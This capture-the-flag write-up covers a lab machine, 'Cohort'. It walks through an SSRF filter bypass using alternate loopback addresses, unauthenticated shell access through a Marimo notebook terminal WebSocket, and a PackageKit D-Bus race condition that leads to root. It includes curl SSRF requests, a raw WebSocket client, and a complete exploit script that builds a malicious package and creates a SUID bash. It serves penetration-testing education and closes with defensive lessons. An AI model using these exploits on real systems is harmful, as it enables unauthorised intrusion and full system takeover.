An easy machine combining SSRF filter bypasses, pre-auth RCE in a Marimo notebook, and a TOCTOU race condition in PackageKit for root. Input validation done wrong; internal services exposed; system packages unpatched.
Machine IP: 10.129.119.223
Difficulty: Easy
nmap finds three ports. The TLS cert reveals a wildcard domain.
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
Service enumeration shows nginx/1.24.0 on both HTTP and HTTPS. The TLS certificate presents *.cohort.htb — a wildcard SAN indicating multiple virtual hosts.
Add to /etc/hosts:
10.129.119.223 cohort.htb 10.129.119.223 nb-1be3782a8afd3ad5.cohort.htb
The main domain hosts Cohort Analytics — an obfuscated SPA for retention intelligence. The second vhost proves to be a reverse proxy to an internal Marimo notebook server.
The SPA has a URL validation endpoint that leaks internal services. The filter is naive string-matching.
Exploring the Cohort SPA reveals a hidden portal at /portal.html where users submit "report source URLs." Submitting a URL triggers a POST to /api/validate:
curl -s -k -X POST https://cohort.htb/api/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1/","format":"csv"}'
The server rejects loopback addresses — it's filtering against 127.0.0.1 and localhost by simple string matching. This is trivially bypassable.
Alternative representations of loopback:
http://127.1/ — truncated decimalhttp://0.0.0.0/ — all interfaceshttp://2130706433/ — pure decimal IPhttp://0177.0.0.1/ — octal notationUsing 127.1, we scan internal ports:
curl -s -k -X POST https://cohort.htb/api/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.1:5000/","format":"json"}'
Port 5000: Flask backend | Port 8888: Marimo notebook (auth-gated, internal-only)
Nginx exposes a /status endpoint that returns 403 to unauthorized clients. By routing through SSRF, we bypass the ACL:
curl -s -k -X POST https://cohort.htb/api/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.1/status","format":"json"}'
The response leaks the complete Nginx configuration, revealing: nb-1be3782a8afd3ad5.cohort.htb — the hidden vhost acting as a reverse proxy to Marimo on port 8888.
Never use string-matching for security. Use proper IP parsing libraries and allowlisting, not blacklisting. A single alternate representation bypasses the entire filter.
The Marimo notebook server exposes an unauthenticated terminal WebSocket. The auth check is missing on that route.
Marimo 0.20.4 exposes /terminal/ws as a WebSocket that spawns an OS pseudoterminal. The vulnerability: the validate_auth() check is missing on the WebSocket route handler, allowing unauthenticated clients to spawn an interactive shell.
Standard Python websocket libraries misbehave over TLS in this environment. We use raw sockets with WebSocket framing:
import socket, ssl, base64, os, struct
TARGET_IP = "10.129.119.223"
HOST = "nb-1be3782a8afd3ad5.cohort.htb"
PATH = "/terminal/ws"
def connect():
raw = socket.create_connection((TARGET_IP, 443), timeout=8)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(raw, server_hostname=HOST)
key = base64.b64encode(os.urandom(16)).decode()
req = (f"GET {PATH} HTTP/1.1\r\nHost: {HOST}\r\n"
f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n")
s.sendall(req.encode())
resp = b""
while b"\r\n\r\n" not in resp:
resp += s.recv(4096)
return s
s = connect()
# Now send WebSocket frames...
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo
We have unauthenticated RCE as marimo. Read the user flag:
[redacted — user flag]
The developer forgot to apply the authentication middleware to the WebSocket route. A common mistake when routing and auth are decoupled.
An outdated PackageKit is vulnerable to a D-Bus race condition. We race a SIMULATE install against a REAL one to run code as root.
Standard privesc checks show heavy hardening: restricted namespaces, hardened audit, NoNewPrivileges. However, an outdated PackageKit 1.2.8 is installed alongside D-Bus and dpkg. This is vulnerable to CVE-2026-41651, a TOCTOU race condition.
InstallFiles with SIMULATE flag (4) — daemon validates packagesInstallFiles call with REAL flag (0) pointing to attacker .deb.deb, running its postinst maintainer script as rootimport os, subprocess, time
from gi.repository import Gio, GLib
TARGET_SUID = "/tmp/.suid_bash"
DUMMY_DEB = "/tmp/dummy.deb"
PAYLOAD_DEB = "/tmp/payload.deb"
def build_deb(path, name, is_payload=False):
tmp_dir = f"/tmp/build_{name}"
debian_dir = os.path.join(tmp_dir, "DEBIAN")
os.makedirs(debian_dir, exist_ok=True)
with open(os.path.join(debian_dir, "control"), "w") as f:
f.write(f"Package: {name}\nVersion: 1.0\n"
f"Architecture: all\nMaintainer: PoC\n"
f"Description: PoC\n")
if is_payload:
postinst = os.path.join(debian_dir, "postinst")
with open(postinst, "w") as f:
f.write(f"#!/bin/sh\n"
f"install -m 4755 /bin/bash {TARGET_SUID}\n")
os.chmod(postinst, 0o755)
subprocess.run(["dpkg-deb", "-b", tmp_dir, path],
stdout=subprocess.DEVNULL)
subprocess.run(["rm", "-rf", tmp_dir])
def exploit():
build_deb(DUMMY_DEB, "pk-dummy")
build_deb(PAYLOAD_DEB, "pk-payload", is_payload=True)
connection = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)
# Create transaction
res = connection.call_sync(
"org.freedesktop.PackageKit",
"/org/freedesktop/PackageKit",
"org.freedesktop.PackageKit",
"CreateTransaction", None,
GLib.VariantType.new("(o)"),
Gio.DBusCallFlags.NONE, -1, None
)
tid = res.unpack()[0]
# Race: SIMULATE then REAL
connection.call(
"org.freedesktop.PackageKit", tid,
"org.freedesktop.PackageKit.Transaction", "InstallFiles",
GLib.Variant("(tas)", (4, [DUMMY_DEB])), # SIMULATE
None, Gio.DBusCallFlags.NONE, -1, None, None
)
connection.call(
"org.freedesktop.PackageKit", tid,
"org.freedesktop.PackageKit.Transaction", "InstallFiles",
GLib.Variant("(tas)", (0, [PAYLOAD_DEB])), # REAL
None, Gio.DBusCallFlags.NONE, -1, None, None
)
connection.flush_sync(None)
# Wait for suid bash
for _ in range(60):
if os.path.exists(TARGET_SUID) and (os.stat(TARGET_SUID).st_mode & 0o4000):
result = subprocess.run(
[TARGET_SUID, "-p", "-c", "cat /root/root.txt"],
capture_output=True, text=True
)
print(result.stdout.strip())
return
time.sleep(1)
[*] CVE-2026-41651 — PackageKit LPE
[+] Packages generated
[+] Transaction: /3_beeeacac
[*] Racing SIMULATE vs REAL...
[*] Waiting for SUID bash...
[+++] Got SUID bash!
[redacted — root flag]
The window between PackageKit's parameter validation and execution phases is typically 1–100ms. Firing both async D-Bus calls back-to-back and flushing reliably hits it within 60 seconds of retries.
/status; restrict SSRF-prone handlers.| Phase | Vulnerability | Impact |
|---|---|---|
| 1. SSRF | String-matching filter | Bypass via 127.1, scan internal ports |
| 2. Service Discovery | Nginx ACL bypass | Leak hidden vhost from /status |
| 3. RCE | CVE-2026-39987 | Pre-auth shell via /terminal/ws |
| 4. Root | CVE-2026-41651 | Root via postinst TOCTOU race |